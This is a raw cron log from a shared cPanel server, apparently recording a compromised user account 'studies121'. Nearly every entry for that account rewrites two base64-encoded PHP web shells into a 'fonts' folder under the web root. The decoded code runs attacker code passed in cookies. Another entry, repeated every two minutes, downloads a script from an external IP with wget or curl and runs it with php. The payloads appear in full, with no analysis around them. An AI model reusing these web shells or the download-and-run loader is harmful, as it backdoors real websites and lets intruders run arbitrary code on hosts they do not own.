Sep 10 19:17:01 ip-184-168-122-23 CROND[28718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:17:01 ip-184-168-122-23 CROND[28717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:17:01 ip-184-168-122-23 CROND[28719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:18:01 ip-184-168-122-23 CROND[28807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:18:01 ip-184-168-122-23 CROND[28810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:18:01 ip-184-168-122-23 CROND[28808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:18:01 ip-184-168-122-23 CROND[28809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:18:01 ip-184-168-122-23 CROND[28812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:19:01 ip-184-168-122-23 CROND[28908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:19:01 ip-184-168-122-23 CROND[28910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:19:01 ip-184-168-122-23 CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:19:01 ip-184-168-122-23 CROND[28911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:20:02 ip-184-168-122-23 CROND[29010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29006]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:20:02 ip-184-168-122-23 CROND[29014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:20:02 ip-184-168-122-23 CROND[29012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:21:01 ip-184-168-122-23 CROND[29195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:21:01 ip-184-168-122-23 CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:21:01 ip-184-168-122-23 CROND[29197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:21:01 ip-184-168-122-23 CROND[29198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:22:01 ip-184-168-122-23 CROND[29308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:22:01 ip-184-168-122-23 CROND[29310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:22:01 ip-184-168-122-23 CROND[29316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:22:01 ip-184-168-122-23 CROND[29314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:22:01 ip-184-168-122-23 CROND[29315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:23:01 ip-184-168-122-23 CROND[29427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:23:01 ip-184-168-122-23 CROND[29430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:23:01 ip-184-168-122-23 CROND[29429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:23:01 ip-184-168-122-23 CROND[29431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:24:01 ip-184-168-122-23 CROND[29531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:24:01 ip-184-168-122-23 CROND[29533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:24:01 ip-184-168-122-23 CROND[29534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:24:01 ip-184-168-122-23 CROND[29536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:24:01 ip-184-168-122-23 CROND[29535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:25:01 ip-184-168-122-23 CROND[29636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:25:01 ip-184-168-122-23 CROND[29641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:25:01 ip-184-168-122-23 CROND[29639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:25:01 ip-184-168-122-23 CROND[29640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:25:01 ip-184-168-122-23 CROND[29642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:25:01 ip-184-168-122-23 CROND[29638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:26:01 ip-184-168-122-23 CROND[29731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:26:01 ip-184-168-122-23 CROND[29734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:26:01 ip-184-168-122-23 CROND[29737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:26:01 ip-184-168-122-23 CROND[29735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:26:01 ip-184-168-122-23 CROND[29736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:27:01 ip-184-168-122-23 CROND[29924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:27:01 ip-184-168-122-23 CROND[29926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:27:01 ip-184-168-122-23 CROND[29925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:27:01 ip-184-168-122-23 CROND[29927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:28:01 ip-184-168-122-23 CROND[30027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:28:01 ip-184-168-122-23 CROND[30029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:28:01 ip-184-168-122-23 CROND[30030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:28:01 ip-184-168-122-23 CROND[30032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:28:01 ip-184-168-122-23 CROND[30031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:29:01 ip-184-168-122-23 CROND[30124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:29:01 ip-184-168-122-23 CROND[30127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
